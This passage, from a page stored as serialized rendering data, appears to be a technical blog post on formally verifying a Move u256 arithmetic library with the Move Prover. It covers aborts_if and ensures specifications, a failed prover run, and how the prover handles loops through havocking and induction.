P64\n",{"type":25,"tag":201,"props":11370,"children":11371},{"class":203,"line":464},[11372],{"type":25,"tag":201,"props":11373,"children":11374},{"style":220},[11375],{"type":31,"value":1187},{"type":25,"tag":201,"props":11377,"children":11378},{"class":203,"line":490},[11379],{"type":25,"tag":201,"props":11380,"children":11381},{"emptyLinePlaceholder":17},[11382],{"type":31,"value":496},{"type":25,"tag":201,"props":11384,"children":11385},{"class":203,"line":499},[11386,11390,11394],{"type":25,"tag":201,"props":11387,"children":11388},{"style":246},[11389],{"type":31,"value":9783},{"type":25,"tag":201,"props":11391,"children":11392},{"style":246},[11393],{"type":31,"value":11085},{"type":25,"tag":201,"props":11395,"children":11396},{"style":220},[11397],{"type":31,"value":327},{"type":25,"tag":201,"props":11399,"children":11400},{"class":203,"line":522},[11401,11406,11410,11414,11418,11422,11426,11430,11434,11438,11442,11447,11451,11455,11459,11463,11467,11471,11475],{"type":25,"tag":201,"props":11402,"children":11403},{"style":246},[11404],{"type":31,"value":11405},"    aborts_if",{"type":25,"tag":201,"props":11407,"children":11408},{"style":214},[11409],{"type":31,"value":11206},{"type":25,"tag":201,"props":11411,"children":11412},{"style":220},[11413],{"type":31,"value":298},{"type":25,"tag":201,"props":11415,"children":11416},{"style":246},[11417],{"type":31,"value":71},{"type":25,"tag":201,"props":11419,"children":11420},{"style":220},[11421],{"type":31,"value":385},{"type":25,"tag":201,"props":11423,"children":11424},{"style":261},[11425],{"type":31,"value":5886},{"type":25,"tag":201,"props":11427,"children":11428},{"style":214},[11429],{"type":31,"value":11206},{"type":25,"tag":201,"props":11431,"children":11432},{"style":220},[11433],{"type":31,"value":298},{"type":25,"tag":201,"props":11435,"children":11436},{"style":246},[11437],{"type":31,"value":4729},{"type":25,"tag":201,"props":11439,"children":11440},{"style":220},[11441],{"type":31,"value":385},{"type":25,"tag":201,"props":11443,"children":11444},{"style":261},[11445],{"type":31,"value":11446},">=",{"type":25,"tag":201,"props":11448,"children":11449},{"style":4925},[11450],{"type":31,"value":11162},{"type":25,"tag":201,"props":11452,"children":11453},{"style":261},[11454],{"type":31,"value":11319},{"type":25,"tag":201,"props":11456,"children":11457},{"style":4925},[11458],{"type":31,"value":11162},{"type":25,"tag":201,"props":11460,"children":11461},{"style":261},[11462],{"type":31,"value":11319},{"type":25,"tag":201,"props":11464,"children":11465},{"style":4925},[11466],{"type":31,"value":11162},{"type":25,"tag":201,"props":11468,"children":11469},{"style":261},[11470],{"type":31,"value":11319},{"type":25,"tag":201,"props":11472,"children":11473},{"style":4925},[11474],{"type":31,"value":11162},{"type":25,"tag":201,"props":11476,"children":11477},{"style":220},[11478],{"type":31,"value":461},{"type":25,"tag":201,"props":11480,"children":11481},{"class":203,"line":531},[11482],{"type":25,"tag":201,"props":11483,"children":11484},{"style":220},[11485],{"type":31,"value":1187},{"type":25,"tag":34,"props":11487,"children":11488},{},[11489,11491,11498],{"type":31,"value":11490},"We can observe in the snippet above, that we are allowed to call functions inside the spec block. However, the callee must either be an ",{"type":25,"tag":71,"props":11492,"children":11495},{"href":11493,"rel":11494},"https://github.com/move-language/move/blob/f7d5b1a3f4d622c17f540190fa4fa12323cb0bb8/language/move-prover/doc/user/spec-lang.md#builtin-functions",[75],[11496],{"type":31,"value":11497},"MSL function",{"type":31,"value":11499},", or a pure Move function. A pure Move function can be defined as a function that does not modify the global state or use Move expression features unsupported by MSL.",{"type":25,"tag":34,"props":11501,"children":11502},{},[11503,11505,11510,11511,11516],{"type":31,"value":11504},"A common pattern for ",{"type":25,"tag":115,"props":11506,"children":11508},{"className":11507},[],[11509],{"type":31,"value":9833},{"type":31,"value":7010},{"type":25,"tag":115,"props":11512,"children":11514},{"className":11513},[],[11515],{"type":31,"value":9841},{"type":31,"value":11517},", which lets you prove that a function will never abort.",{"type":25,"tag":191,"props":11519,"children":11521},{"code":11520,"language":4486,"meta":7,"className":4487,"style":7},"spec critical_function {\n    aborts_if false;\n}\n",[11522],{"type":25,"tag":115,"props":11523,"children":11524},{"__ignoreMap":7},[11525,11541,11556],{"type":25,"tag":201,"props":11526,"children":11527},{"class":203,"line":204},[11528,11532,11537],{"type":25,"tag":201,"props":11529,"children":11530},{"style":246},[11531],{"type":31,"value":9783},{"type":25,"tag":201,"props":11533,"children":11534},{"style":246},[11535],{"type":31,"value":11536}," critical_function",{"type":25,"tag":201,"props":11538,"children":11539},{"style":220},[11540],{"type":31,"value":327},{"type":25,"tag":201,"props":11542,"children":11543},{"class":203,"line":226},[11544,11548,11552],{"type":25,"tag":201,"props":11545,"children":11546},{"style":246},[11547],{"type":31,"value":11405},{"type":25,"tag":201,"props":11549,"children":11550},{"style":208},[11551],{"type":31,"value":542},{"type":25,"tag":201,"props":11553,"children":11554},{"style":220},[11555],{"type":31,"value":461},{"type":25,"tag":201,"props":11557,"children":11558},{"class":203,"line":278},[11559],{"type":25,"tag":201,"props":11560,"children":11561},{"style":220},[11562],{"type":31,"value":1187},{"type":25,"tag":34,"props":11564,"children":11565},{},[11566,11568,11574],{"type":31,"value":11567},"Another type of expression that we can use is ",{"type":25,"tag":115,"props":11569,"children":11571},{"className":11570},[],[11572],{"type":31,"value":11573},"ensures",{"type":31,"value":11575},". As the name suggests, it ensures that a certain condition is true at the end of a function's execution.",{"type":25,"tag":34,"props":11577,"children":11578},{},[11579,11581,11586,11588,11593],{"type":31,"value":11580},"In the case of the ",{"type":25,"tag":115,"props":11582,"children":11584},{"className":11583},[],[11585],{"type":31,"value":2011},{"type":31,"value":11587}," function, we want to ensure that the return value is the sum of the 2 parameters. Note that because ",{"type":25,"tag":1252,"props":11589,"children":11590},{},[11591],{"type":31,"value":11592},"MSL uses unbounded numbers",{"type":31,"value":11594},", we're able to very cleanly express this property without worrying about overflows.",{"type":25,"tag":191,"props":11596,"children":11598},{"code":11597,"language":4486,"meta":7,"className":4487,"style":7},"spec add {\n    aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n    ensures value_of_U256(result) == value_of_U256(a) + value_of_U256(b);\n}\n",[11599],{"type":25,"tag":115,"props":11600,"children":11601},{"__ignoreMap":7},[11602,11617,11696,11760],{"type":25,"tag":201,"props":11603,"children":11604},{"class":203,"line":204},[11605,11609,11613],{"type":25,"tag":201,"props":11606,"children":11607},{"style":246},[11608],{"type":31,"value":9783},{"type":25,"tag":201,"props":11610,"children":11611},{"style":246},[11612],{"type":31,"value":11085},{"type":25,"tag":201,"props":11614,"children":11615},{"style":220},[11616],{"type":31,"value":327},{"type":25,"tag":201,"props":11618,"children":11619},{"class":203,"line":226},[11620,11624,11628,11632,11636,11640,11644,11648,11652,11656,11660,11664,11668,11672,11676,11680,11684,11688,11692],{"type":25,"tag":201,"props":11621,"children":11622},{"style":246},[11623],{"type":31,"value":11405},{"type":25,"tag":201,"props":11625,"children":11626},{"style":214},[11627],{"type":31,"value":11206},{"type":25,"tag":201,"props":11629,"children":11630},{"style":220},[11631],{"type":31,"value":298},{"type":25,"tag":201,"props":11633,"children":11634},{"style":246},[11635],{"type":31,"value":71},{"type":25,"tag":201,"props":11637,"children":11638},{"style":220},[11639],{"type":31,"value":385},{"type":25,"tag":201,"props":11641,"children":11642},{"style":261},[11643],{"type":31,"value":5886},{"type":25,"tag":201,"props":11645,"children":11646},{"style":214},[11647],{"type":31,"value":11206},{"type":25,"tag":201,"props":11649,"children":11650},{"style":220},[11651],{"type":31,"value":298},{"type":25,"tag":201,"props":11653,"children":11654},{"style":246},[11655],{"type":31,"value":4729},{"type":25,"tag":201,"props":11657,"children":11658},{"style":220},[11659],{"type":31,"value":385},{"type":25,"tag":201,"props":11661,"children":11662},{"style":261},[11663],{"type":31,"value":11446},{"type":25,"tag":201,"props":11665,"children":11666},{"style":4925},[11667],{"type":31,"value":11162},{"type":25,"tag":201,"props":11669,"children":11670},{"style":261},[11671],{"type":31,"value":11319},{"type":25,"tag":201,"props":11673,"children":11674},{"style":4925},[11675],{"type":31,"value":11162},{"type":25,"tag":201,"props":11677,"children":11678},{"style":261},[11679],{"type":31,"value":11319},{"type":25,"tag":201,"props":11681,"children":11682},{"style":4925},[11683],{"type":31,"value":11162},{"type":25,"tag":201,"props":11685,"children":11686},{"style":261},[11687],{"type":31,"value":11319},{"type":25,"tag":201,"props":11689,"children":11690},{"style":4925},[11691],{"type":31,"value":11162},{"type":25,"tag":201,"props":11693,"children":11694},{"style":220},[11695],{"type":31,"value":461},{"type":25,"tag":201,"props":11697,"children":11698},{"class":203,"line":278},[11699,11704,11708,11712,11716,11720,11724,11728,11732,11736,11740,11744,11748,11752,11756],{"type":25,"tag":201,"props":11700,"children":11701},{"style":246},[11702],{"type":31,"value":11703},"    ensures",{"type":25,"tag":201,"props":11705,"children":11706},{"style":214},[11707],{"type":31,"value":11206},{"type":25,"tag":201,"props":11709,"children":11710},{"style":220},[11711],{"type":31,"value":298},{"type":25,"tag":201,"props":11713,"children":11714},{"style":246},[11715],{"type":31,"value":10587},{"type":25,"tag":201,"props":11717,"children":11718},{"style":220},[11719],{"type":31,"value":385},{"type":25,"tag":201,"props":11721,"children":11722},{"style":261},[11723],{"type":31,"value":10083},{"type":25,"tag":201,"props":11725,"children":11726},{"style":214},[11727],{"type":31,"value":11206},{"type":25,"tag":201,"props":11729,"children":11730},{"style":220},[11731],{"type":31,"value":298},{"type":25,"tag":201,"props":11733,"children":11734},{"style":246},[11735],{"type":31,"value":71},{"type":25,"tag":201,"props":11737,"children":11738},{"style":220},[11739],{"type":31,"value":385},{"type":25,"tag":201,"props":11741,"children":11742},{"style":261},[11743],{"type":31,"value":5886},{"type":25,"tag":201,"props":11745,"children":11746},{"style":214},[11747],{"type":31,"value":11206},{"type":25,"tag":201,"props":11749,"children":11750},{"style":220},[11751],{"type":31,"value":298},{"type":25,"tag":201,"props":11753,"children":11754},{"style":246},[11755],{"type":31,"value":4729},{"type":25,"tag":201,"props":11757,"children":11758},{"style":220},[11759],{"type":31,"value":308},{"type":25,"tag":201,"props":11761,"children":11762},{"class":203,"line":311},[11763],{"type":25,"tag":201,"props":11764,"children":11765},{"style":220},[11766],{"type":31,"value":1187},{"type":25,"tag":34,"props":11768,"children":11769},{},[11770],{"type":31,"value":11771},"Note that because Move specification functions are written in MSL, the numbers are unbounded and we can define the expression without risk of overflow.",{"type":25,"tag":34,"props":11773,"children":11774},{},[11775],{"type":31,"value":11776},"Let's try to prove the library with the specifications from above:",{"type":25,"tag":191,"props":11778,"children":11780},{"code":11779,"language":5747,"meta":7,"className":5748,"style":7},"$ move prove\n",[11781],{"type":25,"tag":115,"props":11782,"children":11783},{"__ignoreMap":7},[11784],{"type":25,"tag":201,"props":11785,"children":11786},{"class":203,"line":204},[11787,11792,11797],{"type":25,"tag":201,"props":11788,"children":11789},{"style":214},[11790],{"type":31,"value":11791},"$",{"type":25,"tag":201,"props":11793,"children":11794},{"style":267},[11795],{"type":31,"value":11796}," move",{"type":25,"tag":201,"props":11798,"children":11799},{"style":267},[11800],{"type":31,"value":11801}," prove\n",{"type":25,"tag":34,"props":11803,"children":11804},{},[11805],{"type":31,"value":11806},"It outputs the following error information:",{"type":25,"tag":191,"props":11808,"children":11810},{"code":11809,"language":5747,"meta":7,"className":5748,"style":7},"[...]\n\nerror: abort not covered by any of the `aborts_if` clauses\n╭     spec add {\n|         aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n|         ensures value_of_U256(result) == value_of_U256(a) + value_of_U256(b);\n|     }\n╰─────^\n\n[...]\n\n at ./sources/u256.move:316: add\n enter loop, variable(s) carry, i, ret havocked and reassigned\n     carry = 54\n     i = 3792\n     ret = u256.U256{v0 = 26418, v1 = 27938, v2 = 6900, v3 = 1999}\n at ./sources/u256.move:346: add\n     ABORTED\n\nFAILURE proving 1 modules from package `u256` in 9.143s\n{\n    \"Error\": \"Move Prover failed: exiting with verification errors\"\n}\n",[11811],{"type":25,"tag":115,"props":11812,"children":11813},{"__ignoreMap":7},[11814,11822,11829,11890,11911,12000,12068,12080,12088,12095,12102,12109,12127,12188,12205,12222,12294,12310,12318,12325,12375,12382,12399],{"type":25,"tag":201,"props":11815,"children":11816},{"class":203,"line":204},[11817],{"type":25,"tag":201,"props":11818,"children":11819},{"style":220},[11820],{"type":31,"value":11821},"[...]\n",{"type":25,"tag":201,"props":11823,"children":11824},{"class":203,"line":226},[11825],{"type":25,"tag":201,"props":11826,"children":11827},{"emptyLinePlaceholder":17},[11828],{"type":31,"value":496},{"type":25,"tag":201,"props":11830,"children":11831},{"class":203,"line":278},[11832,11837,11842,11847,11852,11857,11862,11867,11872,11877,11881,11885],{"type":25,"tag":201,"props":11833,"children":11834},{"style":214},[11835],{"type":31,"value":11836},"error:",{"type":25,"tag":201,"props":11838,"children":11839},{"style":267},[11840],{"type":31,"value":11841}," abort",{"type":25,"tag":201,"props":11843,"children":11844},{"style":267},[11845],{"type":31,"value":11846}," not",{"type":25,"tag":201,"props":11848,"children":11849},{"style":267},[11850],{"type":31,"value":11851}," covered",{"type":25,"tag":201,"props":11853,"children":11854},{"style":267},[11855],{"type":31,"value":11856}," by",{"type":25,"tag":201,"props":11858,"children":11859},{"style":267},[11860],{"type":31,"value":11861}," any",{"type":25,"tag":201,"props":11863,"children":11864},{"style":267},[11865],{"type":31,"value":11866}," of",{"type":25,"tag":201,"props":11868,"children":11869},{"style":267},[11870],{"type":31,"value":11871}," the",{"type":25,"tag":201,"props":11873,"children":11874},{"style":267},[11875],{"type":31,"value":11876}," `",{"type":25,"tag":201,"props":11878,"children":11879},{"style":214},[11880],{"type":31,"value":9833},{"type":25,"tag":201,"props":11882,"children":11883},{"style":267},[11884],{"type":31,"value":3083},{"type":25,"tag":201,"props":11886,"children":11887},{"style":214},[11888],{"type":31,"value":11889}," clauses\n",{"type":25,"tag":201,"props":11891,"children":11892},{"class":203,"line":311},[11893,11898,11903,11907],{"type":25,"tag":201,"props":11894,"children":11895},{"style":214},[11896],{"type":31,"value":11897},"╭",{"type":25,"tag":201,"props":11899,"children":11900},{"style":267},[11901],{"type":31,"value":11902},"     spec",{"type":25,"tag":201,"props":11904,"children":11905},{"style":267},[11906],{"type":31,"value":11085},{"type":25,"tag":201,"props":11908,"children":11909},{"style":267},[11910],{"type":31,"value":327},{"type":25,"tag":201,"props":11912,"children":11913},{"class":203,"line":330},[11914,11919,11924,11928,11932,11936,11940,11944,11948,11952,11956,11960,11964,11968,11972,11976,11980,11984,11988,11992,11996],{"type":25,"tag":201,"props":11915,"children":11916},{"style":261},[11917],{"type":31,"value":11918},"|",{"type":25,"tag":201,"props":11920,"children":11921},{"style":214},[11922],{"type":31,"value":11923},"         aborts_if",{"type":25,"tag":201,"props":11925,"children":11926},{"style":267},[11927],{"type":31,"value":11206},{"type":25,"tag":201,"props":11929,"children":11930},{"style":220},[11931],{"type":31,"value":298},{"type":25,"tag":201,"props":11933,"children":11934},{"style":214},[11935],{"type":31,"value":71},{"type":25,"tag":201,"props":11937,"children":11938},{"style":220},[11939],{"type":31,"value":385},{"type":25,"tag":201,"props":11941,"children":11942},{"style":267},[11943],{"type":31,"value":5886},{"type":25,"tag":201,"props":11945,"children":11946},{"style":267},[11947],{"type":31,"value":11206},{"type":25,"tag":201,"props":11949,"children":11950},{"style":220},[11951],{"type":31,"value":298},{"type":25,"tag":201,"props":11953,"children":11954},{"style":214},[11955],{"type":31,"value":4729},{"type":25,"tag":201,"props":11957,"children":11958},{"style":220},[11959],{"type":31,"value":385},{"type":25,"tag":201,"props":11961,"children":11962},{"style":261},[11963],{"type":31,"value":1342},{"type":25,"tag":201,"props":11965,"children":11966},{"style":267},[11967],{"type":31,"value":1383},{"type":25,"tag":201,"props":11969,"children":11970},{"style":267},[11971],{"type":31,"value":11162},{"type":25,"tag":201,"props":11973,"children":11974},{"style":208},[11975],{"type":31,"value":11319},{"type":25,"tag":201,"props":11977,"children":11978},{"style":267},[11979],{"type":31,"value":11162},{"type":25,"tag":201,"props":11981,"children":11982},{"style":208},[11983],{"type":31,"value":11319},{"type":25,"tag":201,"props":11985,"children":11986},{"style":267},[11987],{"type":31,"value":11162},{"type":25,"tag":201,"props":11989,"children":11990},{"style":208},[11991],{"type":31,"value":11319},{"type":25,"tag":201,"props":11993,"children":11994},{"style":267},[11995],{"type":31,"value":11162},{"type":25,"tag":201,"props":11997,"children":11998},{"style":220},[11999],{"type":31,"value":461},{"type":25,"tag":201,"props":12001,"children":12002},{"class":203,"line":397},[12003,12007,12012,12016,12020,12024,12028,12032,12036,12040,12044,12048,12052,12056,12060,12064],{"type":25,"tag":201,"props":12004,"children":12005},{"style":261},[12006],{"type":31,"value":11918},{"type":25,"tag":201,"props":12008,"children":12009},{"style":214},[12010],{"type":31,"value":12011},"         ensures",{"type":25,"tag":201,"props":12013,"children":12014},{"style":267},[12015],{"type":31,"value":11206},{"type":25,"tag":201,"props":12017,"children":12018},{"style":220},[12019],{"type":31,"value":298},{"type":25,"tag":201,"props":12021,"children":12022},{"style":214},[12023],{"type":31,"value":10587},{"type":25,"tag":201,"props":12025,"children":12026},{"style":220},[12027],{"type":31,"value":385},{"type":25,"tag":201,"props":12029,"children":12030},{"style":267},[12031],{"type":31,"value":10083},{"type":25,"tag":201,"props":12033,"children":12034},{"style":267},[12035],{"type":31,"value":11206},{"type":25,"tag":201,"props":12037,"children":12038},{"style":220},[12039],{"type":31,"value":298},{"type":25,"tag":201,"props":12041,"children":12042},{"style":214},[12043],{"type":31,"value":71},{"type":25,"tag":201,"props":12045,"children":12046},{"style":220},[12047],{"type":31,"value":385},{"type":25,"tag":201,"props":12049,"children":12050},{"style":267},[12051],{"type":31,"value":5886},{"type":25,"tag":201,"props":12053,"children":12054},{"style":267},[12055],{"type":31,"value":11206},{"type":25,"tag":201,"props":12057,"children":12058},{"style":220},[12059],{"type":31,"value":298},{"type":25,"tag":201,"props":12061,"children":12062},{"style":214},[12063],{"type":31,"value":4729},{"type":25,"tag":201,"props":12065,"children":12066},{"style":220},[12067],{"type":31,"value":308},{"type":25,"tag":201,"props":12069,"children":12070},{"class":203,"line":437},[12071,12075],{"type":25,"tag":201,"props":12072,"children":12073},{"style":261},[12074],{"type":31,"value":11918},{"type":25,"tag":201,"props":12076,"children":12077},{"style":220},[12078],{"type":31,"value":12079},"     }\n",{"type":25,"tag":201,"props":12081,"children":12082},{"class":203,"line":464},[12083],{"type":25,"tag":201,"props":12084,"children":12085},{"style":214},[12086],{"type":31,"value":12087},"╰─────^\n",{"type":25,"tag":201,"props":12089,"children":12090},{"class":203,"line":490},[12091],{"type":25,"tag":201,"props":12092,"children":12093},{"emptyLinePlaceholder":17},[12094],{"type":31,"value":496},{"type":25,"tag":201,"props":12096,"children":12097},{"class":203,"line":499},[12098],{"type":25,"tag":201,"props":12099,"children":12100},{"style":220},[12101],{"type":31,"value":11821},{"type":25,"tag":201,"props":12103,"children":12104},{"class":203,"line":522},[12105],{"type":25,"tag":201,"props":12106,"children":12107},{"emptyLinePlaceholder":17},[12108],{"type":31,"value":496},{"type":25,"tag":201,"props":12110,"children":12111},{"class":203,"line":531},[12112,12117,12122],{"type":25,"tag":201,"props":12113,"children":12114},{"style":214},[12115],{"type":31,"value":12116}," at",{"type":25,"tag":201,"props":12118,"children":12119},{"style":267},[12120],{"type":31,"value":12121}," ./sources/u256.move:316:",{"type":25,"tag":201,"props":12123,"children":12124},{"style":267},[12125],{"type":31,"value":12126}," add\n",{"type":25,"tag":201,"props":12128,"children":12129},{"class":203,"line":550},[12130,12135,12140,12145,12149,12154,12158,12163,12168,12173,12178,12183],{"type":25,"tag":201,"props":12131,"children":12132},{"style":214},[12133],{"type":31,"value":12134}," enter",{"type":25,"tag":201,"props":12136,"children":12137},{"style":267},[12138],{"type":31,"value":12139}," loop,",{"type":25,"tag":201,"props":12141,"children":12142},{"style":267},[12143],{"type":31,"value":12144}," variable",{"type":25,"tag":201,"props":12146,"children":12147},{"style":220},[12148],{"type":31,"value":298},{"type":25,"tag":201,"props":12150,"children":12151},{"style":214},[12152],{"type":31,"value":12153},"s",{"type":25,"tag":201,"props":12155,"children":12156},{"style":220},[12157],{"type":31,"value":385},{"type":25,"tag":201,"props":12159,"children":12160},{"style":267},[12161],{"type":31,"value":12162},"carry,",{"type":25,"tag":201,"props":12164,"children":12165},{"style":267},[12166],{"type":31,"value":12167}," i,",{"type":25,"tag":201,"props":12169,"children":12170},{"style":267},[12171],{"type":31,"value":12172}," ret",{"type":25,"tag":201,"props":12174,"children":12175},{"style":267},[12176],{"type":31,"value":12177}," havocked",{"type":25,"tag":201,"props":12179,"children":12180},{"style":267},[12181],{"type":31,"value":12182}," and",{"type":25,"tag":201,"props":12184,"children":12185},{"style":267},[12186],{"type":31,"value":12187}," reassigned\n",{"type":25,"tag":201,"props":12189,"children":12190},{"class":203,"line":563},[12191,12196,12200],{"type":25,"tag":201,"props":12192,"children":12193},{"style":214},[12194],{"type":31,"value":12195},"     carry",{"type":25,"tag":201,"props":12197,"children":12198},{"style":267},[12199],{"type":31,"value":413},{"type":25,"tag":201,"props":12201,"children":12202},{"style":426},[12203],{"type":31,"value":12204}," 54\n",{"type":25,"tag":201,"props":12206,"children":12207},{"class":203,"line":572},[12208,12213,12217],{"type":25,"tag":201,"props":12209,"children":12210},{"style":214},[12211],{"type":31,"value":12212},"     i",{"type":25,"tag":201,"props":12214,"children":12215},{"style":267},[12216],{"type":31,"value":413},{"type":25,"tag":201,"props":12218,"children":12219},{"style":426},[12220],{"type":31,"value":12221}," 3792\n",{"type":25,"tag":201,"props":12223,"children":12224},{"class":203,"line":590},[12225,12230,12234,12239,12243,12248,12253,12257,12262,12267,12271,12276,12281,12285,12290],{"type":25,"tag":201,"props":12226,"children":12227},{"style":214},[12228],{"type":31,"value":12229},"     ret",{"type":25,"tag":201,"props":12231,"children":12232},{"style":267},[12233],{"type":31,"value":413},{"type":25,"tag":201,"props":12235,"children":12236},{"style":267},[12237],{"type":31,"value":12238}," u256.U256{v0",{"type":25,"tag":201,"props":12240,"children":12241},{"style":267},[12242],{"type":31,"value":413},{"type":25,"tag":201,"props":12244,"children":12245},{"style":267},[12246],{"type":31,"value":12247}," 26418,",{"type":25,"tag":201,"props":12249,"children":12250},{"style":267},[12251],{"type":31,"value":12252}," v1",{"type":25,"tag":201,"props":12254,"children":12255},{"style":267},[12256],{"type":31,"value":413},{"type":25,"tag":201,"props":12258,"children":12259},{"style":267},[12260],{"type":31,"value":12261}," 27938,",{"type":25,"tag":201,"props":12263,"children":12264},{"style":267},[12265],{"type":31,"value":12266}," v2",{"type":25,"tag":201,"props":12268,"children":12269},{"style":267},[12270],{"type":31,"value":413},{"type":25,"tag":201,"props":12272,"children":12273},{"style":267},[12274],{"type":31,"value":12275}," 6900,",{"type":25,"tag":201,"props":12277,"children":12278},{"style":267},[12279],{"type":31,"value":12280}," v3",{"type":25,"tag":201,"props":12282,"children":12283},{"style":267},[12284],{"type":31,"value":413},{"type":25,"tag":201,"props":12286,"children":12287},{"style":426},[12288],{"type":31,"value":12289}," 1999",{"type":25,"tag":201,"props":12291,"children":12292},{"style":267},[12293],{"type":31,"value":1187},{"type":25,"tag":201,"props":12295,"children":12296},{"class":203,"line":608},[12297,12301,12306],{"type":25,"tag":201,"props":12298,"children":12299},{"style":214},[12300],{"type":31,"value":12116},{"type":25,"tag":201,"props":12302,"children":12303},{"style":267},[12304],{"type":31,"value":12305}," ./sources/u256.move:346:",{"type":25,"tag":201,"props":12307,"children":12308},{"style":267},[12309],{"type":31,"value":12126},{"type":25,"tag":201,"props":12311,"children":12312},{"class":203,"line":617},[12313],{"type":25,"tag":201,"props":12314,"children":12315},{"style":214},[12316],{"type":31,"value":12317},"     ABORTED\n",{"type":25,"tag":201,"props":12319,"children":12320},{"class":203,"line":625},[12321],{"type":25,"tag":201,"props":12322,"children":12323},{"emptyLinePlaceholder":17},[12324],{"type":31,"value":496},{"type":25,"tag":201,"props":12326,"children":12327},{"class":203,"line":642},[12328,12333,12338,12342,12347,12352,12357,12361,12366,12370],{"type":25,"tag":201,"props":12329,"children":12330},{"style":214},[12331],{"type":31,"value":12332},"FAILURE",{"type":25,"tag":201,"props":12334,"children":12335},{"style":267},[12336],{"type":31,"value":12337}," proving",{"type":25,"tag":201,"props":12339,"children":12340},{"style":426},[12341],{"type":31,"value":6029},{"type":25,"tag":201,"props":12343,"children":12344},{"style":267},[12345],{"type":31,"value":12346}," modules",{"type":25,"tag":201,"props":12348,"children":12349},{"style":267},[12350],{"type":31,"value":12351}," from",{"type":25,"tag":201,"props":12353,"children":12354},{"style":267},[12355],{"type":31,"value":12356}," package",{"type":25,"tag":201,"props":12358,"children":12359},{"style":267},[12360],{"type":31,"value":11876},{"type":25,"tag":201,"props":12362,"children":12363},{"style":214},[12364],{"type":31,"value":12365},"u256",{"type":25,"tag":201,"props":12367,"children":12368},{"style":267},[12369],{"type":31,"value":3083},{"type":25,"tag":201,"props":12371,"children":12372},{"style":220},[12373],{"type":31,"value":12374}," in 9.143s\n",{"type":25,"tag":201,"props":12376,"children":12377},{"class":203,"line":659},[12378],{"type":25,"tag":201,"props":12379,"children":12380},{"style":220},[12381],{"type":31,"value":1822},{"type":25,"tag":201,"props":12383,"children":12384},{"class":203,"line":667},[12385,12390,12394],{"type":25,"tag":201,"props":12386,"children":12387},{"style":214},[12388],{"type":31,"value":12389},"    \"Error\"",{"type":25,"tag":201,"props":12391,"children":12392},{"style":214},[12393],{"type":31,"value":5997},{"type":25,"tag":201,"props":12395,"children":12396},{"style":267},[12397],{"type":31,"value":12398}," \"Move Prover failed: exiting with verification errors\"\n",{"type":25,"tag":201,"props":12400,"children":12401},{"class":203,"line":676},[12402],{"type":25,"tag":201,"props":12403,"children":12404},{"style":220},[12405],{"type":31,"value":1187},{"type":25,"tag":34,"props":12407,"children":12408},{},[12409,12411,12416],{"type":31,"value":12410},"The prover is telling us that proving failed because the abort was not covered by our ",{"type":25,"tag":115,"props":12412,"children":12414},{"className":12413},[],[12415],{"type":31,"value":9833},{"type":31,"value":12417}," clauses. But there is no other abort situation that we have to cover, right?",{"type":25,"tag":34,"props":12419,"children":12420},{},[12421,12423,12429],{"type":31,"value":12422},"If we keep reading the error output, we will encounter the somewhat cryptic message: ",{"type":25,"tag":115,"props":12424,"children":12426},{"className":12425},[],[12427],{"type":31,"value":12428},"ret havocked and reassigned",{"type":31,"value":80},{"type":25,"tag":34,"props":12431,"children":12432},{},[12433],{"type":31,"value":12434},"What does this mean?",{"type":25,"tag":34,"props":12436,"children":12437},{},[12438,12440,12447],{"type":31,"value":12439},"By diving into the Move Prover source, we find a ",{"type":25,"tag":71,"props":12441,"children":12444},{"href":12442,"rel":12443},"https://github.com/move-language/move/blob/e0dafc5cf3efe4c4e61411f10cdf0f379a36673c/language/move-prover/bytecode/src/loop_analysis.rs#L94",[75],[12445],{"type":31,"value":12446},"likely suspect",{"type":31,"value":12448},". The prover attempts to prove all loops with induction!",{"type":25,"tag":34,"props":12450,"children":12451},{},[12452],{"type":31,"value":12453},"More formally, it will translate the loop into two key steps, following the classic steps of a proof by induction",{"type":25,"tag":6944,"props":12455,"children":12456},{},[12457,12462],{"type":25,"tag":6948,"props":12458,"children":12459},{},[12460],{"type":31,"value":12461},"Base Case: Asserting the loop invariant holds at the start of loop execution",{"type":25,"tag":6948,"props":12463,"children":12464},{},[12465],{"type":31,"value":12466},"Inductive Step: Assume the invariant, execute the loop body, and assert that the invariant still holds",{"type":25,"tag":34,"props":12468,"children":12469},{},[12470,12472,12477,12479,12485,12486,12492,12494,12499,12501,12506],{"type":31,"value":12471},"The loop prover will also ",{"type":25,"tag":1252,"props":12473,"children":12474},{},[12475],{"type":31,"value":12476},"havoc, or assign random values to, all variables written to inside the loop",{"type":31,"value":12478},". Going back to the log message, this implies that the variables ",{"type":25,"tag":115,"props":12480,"children":12482},{"className":12481},[],[12483],{"type":31,"value":12484},"carry",{"type":31,"value":919},{"type":25,"tag":115,"props":12487,"children":12489},{"className":12488},[],[12490],{"type":31,"value":12491},"ret",{"type":31,"value":12493}," and ",{"type":25,"tag":115,"props":12495,"children":12497},{"className":12496},[],[12498],{"type":31,"value":3641},{"type":31,"value":12500}," have been havocked, or assigned random values. This also explains why the input and output of ",{"type":25,"tag":115,"props":12502,"children":12504},{"className":12503},[],[12505],{"type":31,"value":2011},{"type":31,"value":12507}," makes no sense.",{"type":25,"tag":34,"props":12509,"children":12510},{},[12511],{"type":31,"value":12512},"More concretely, the loop analysis translates into the following steps.",{"type":25,"tag":6944,"props":12514,"children":12515},{},[12516,12521,12526,12531,12536,12541],{"type":25,"tag":6948,"props":12517,"children":12518},{},[12519],{"type":31,"value":12520},"Assert the loop invariant",{"type":25,"tag":6948,"props":12522,"children":12523},{},[12524],{"type":31,"value":12525},"Havoc all modified variables",{"type":25,"tag":6948,"props":12527,"children":12528},{},[12529],{"type":31,"value":12530},"Assume the loop invariant",{"type":25,"tag":6948,"props":12532,"children":12533},{},[12534],{"type":31,"value":12535},"Assume the loop guard (the code inside the while condition)",{"type":25,"tag":6948,"props":12537,"children":12538},{},[12539],{"type":31,"value":12540},"Run the loop body",{"type":25,"tag":6948,"props":12542,"children":12543},{},[12544],{"type":31,"value":12520},{"type":25,"tag":34,"props":12546,"children":12547},{},[12548],{"type":31,"value":12549},"There are two approaches to dealing with loops.",{"type":25,"tag":34,"props":12551,"children":12552},{},[12553],{"type":31,"value":12554},"The first would be to specify a loop invariant.",{"type":25,"tag":34,"props":12556,"children":12557},{},[12558,12560,12567],{"type":31,"value":12559},"In order to specify the loop invariant, we need to use some special syntax, as we explored briefly in our 